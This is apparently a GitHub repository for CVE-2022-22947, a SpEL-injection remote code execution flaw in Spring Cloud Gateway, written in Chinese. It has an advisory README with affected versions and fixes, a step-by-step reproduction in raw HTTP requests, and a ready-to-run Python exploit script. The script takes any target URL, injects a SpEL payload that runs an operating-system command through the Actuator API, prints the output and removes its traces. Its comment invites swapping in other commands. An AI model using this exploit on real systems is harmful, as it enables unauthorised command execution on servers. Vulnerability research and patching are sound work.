├── README.md ├── Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md └── spring_cloud_RCE.py /README.md: -------------------------------------------------------------------------------- 1 | # Spring-Cloud-Gateway-CVE-2022-22947 2 | 3 | 4 | Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。 5 | 6 | 【受影响版本】 7 | 8 | Spring Cloud Gateway < 3.1.1 9 | Spring Cloud Gateway < 3.0.7 10 | Spring Cloud Gateway 旧的、不受支持的版本也会受到影响 11 | 【安全版本】 12 | 13 | Spring Cloud Gateway >= 3.1.1 14 | Spring Cloud Gateway >= 3.0.7 15 | 16 | 17 | Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。 18 | 19 | 20 | 21 | 修复建议 22 | 临时修复建议: 23 | 24 | 如果不需要网关执行器端点,则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器,则应使用 Spring Security 对其进行保护,请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。 25 | 26 | 通用修复建议: 27 | 28 | 官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway 29 | 30 | ## 31 | 通过url进行攻击 32 | 33 | 34 | 35 | 使用python3 运行 36 | 37 | image 38 | 39 | 40 | python3 41 | 42 | image 43 | 44 | # 本网站所提供的信息,只供参考之用 45 | 46 | -------------------------------------------------------------------------------- /Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947).md: -------------------------------------------------------------------------------- 1 | # Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947) 2 | 3 | Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。 4 | 5 | 参考链接: 6 | 7 | - https://tanzu.vmware.com/security/cve-2022-22947 8 | - https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/ 9 | 10 | ## 漏洞环境 11 | 12 | 执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务: 13 | 14 | ``` 15 | docker-compose up -d 16 | ``` 17 | 18 | 服务启动后,访问`http://your-ip:8080`即可看到演示页面,这个页面的上游就是example.com。 19 | 20 | ## 漏洞复现 21 | 22 | 利用这个漏洞需要分多步。 23 | 24 | 首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由: 25 | 26 | ``` 27 | POST /actuator/gateway/routes/hacktest HTTP/1.1 28 | Host: localhost:8080 29 | Accept-Encoding: gzip, deflate 30 | Accept: */* 31 | Accept-Language: en 32 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 33 | Connection: close 34 | Content-Type: application/json 35 | Content-Length: 328 36 | 37 | { 38 | "id": "hacktest", 39 | "filters": [{ 40 | "name": "AddResponseHeader", 41 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"} 42 | }], 43 | "uri": "http://example.com", 44 | "order": 0 45 | } 46 | ``` 47 | 48 | [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/1.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/1.png) 49 | 50 | 然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行: 51 | 52 | ``` 53 | POST /actuator/gateway/refresh HTTP/1.1 54 | Host: localhost:8080 55 | Accept-Encoding: gzip, deflate 56 | Accept: */* 57 | Accept-Language: en 58 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 59 | Connection: close 60 | Content-Type: application/x-www-form-urlencoded 61 | Content-Length: 0 62 | ``` 63 | 64 | [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/2.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/2.png) 65 | 66 | 发送如下数据包即可查看执行结果: 67 | 68 | ``` 69 | GET /actuator/gateway/routes/hacktest HTTP/1.1 70 | Host: localhost:8080 71 | Accept-Encoding: gzip, deflate 72 | Accept: */* 73 | Accept-Language: en 74 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 75 | Connection: close 76 | Content-Type: application/x-www-form-urlencoded 77 | Content-Length: 0 78 | ``` 79 | 80 | [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/3.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/3.png) 81 | 82 | 最后,发送如下数据包清理现场,删除所添加的路由: 83 | 84 | ``` 85 | DELETE /actuator/gateway/routes/hacktest HTTP/1.1 86 | Host: localhost:8080 87 | Accept-Encoding: gzip, deflate 88 | Accept: */* 89 | Accept-Language: en 90 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 91 | Connection: close 92 | ``` 93 | 94 | [![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/4.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/4.png) -------------------------------------------------------------------------------- /spring_cloud_RCE.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import sys 4 | 5 | 6 | def exec(url): 7 | 8 | headers1 = { 9 | 'Accept-Encoding': 'gzip, deflate', 10 | 'Accept': '*/*', 11 | 'Accept-Language': 'en', 12 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 13 | 'Content-Type': 'application/json' 14 | } 15 | 16 | headers2 = { 17 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', 18 | 'Content-Type': 'application/x-www-form-urlencoded' 19 | } 20 | 21 | ## command to execute replace "id" in payload 22 | 23 | payload = '''{\r 24 | "id": "hacktest",\r 25 | "filters": [{\r 26 | "name": "AddResponseHeader",\r 27 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r 28 | }],\r 29 | "uri": "http://example.com",\r 30 | "order": 0\r 31 | }''' 32 | 33 | 34 | 35 | 36 | re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json) 37 | re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) 38 | re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) 39 | re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2) 40 | re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2) 41 | print(re3.text) 42 | 43 | 44 | if __name__ == "__main__": 45 | print(''' ██████ ██ ██ ████████ ████ ████ ████ ████ ████ ████ ████ ██ ██████ 46 | ██░░░░██░██ ░██░██░░░░░ █░░░ █ █░░░██ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░░░ █ █░█ ░░░░░░█ 47 | ██ ░░ ░██ ░██░██ ░ ░█░█ █░█░ ░█░ ░█ ░ ░█░ ░█░█ ░█ █ ░█ ░█ 48 | ░██ ░░██ ██ ░███████ █████ ███ ░█ █ ░█ ███ ███ █████ ███ ███ ░ ████ ██████ █ 49 | ░██ ░░██ ██ ░██░░░░ ░░░░░ █░░ ░██ ░█ █░░ █░░ ░░░░░ █░░ █░░ ░░░█ ░░░░░█ █ 50 | ░░██ ██ ░░████ ░██ █ ░█ ░█ █ █ █ █ █ ░█ █ 51 | ░░██████ ░░██ ░████████ ░██████░ ████ ░██████░██████ ░██████░██████ █ ░█ █ 52 | ░░░░░░ ░░ ░░░░░░░░ ░░░░░░ ░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░░░░░░ ░ ░ ░ 53 | 54 | 55 | 56 | ██ ██ ██ 57 | ░██ ██ ██ ░██ ░██ 58 | ░██ ░░██ ██ ░██ ██ ██ █████ ░██ ██ ██████ ███████ █████ 59 | ░██████ ░░███ ░██░██ ░██ ██░░░██░██ ██ ██░░░░██░░██░░░██ ██░░░██ 60 | ░██░░░██ ░██ ██ ░██░██ ░██░██ ░░ ░████ ░██ ░██ ░██ ░██░███████ 61 | ░██ ░██ ██ ░░ ░██░██ ░██░██ ██░██░██ ░██ ░██ ░██ ░██░██░░░░ 62 | ░██████ ██ ██ ███░░██████░░█████ ░██░░██░░██████ ███ ░██░░██████ 63 | ░░░░░ ░░ ░░ ░░░ ░░░░░░ ░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░ 64 | 65 | usage: python3 test.py url 66 | ''') 67 | if(len(sys.argv)>1): 68 | url = sys.argv[1] 69 | exec(url) 70 | else: 71 | exit() 72 | --------------------------------------------------------------------------------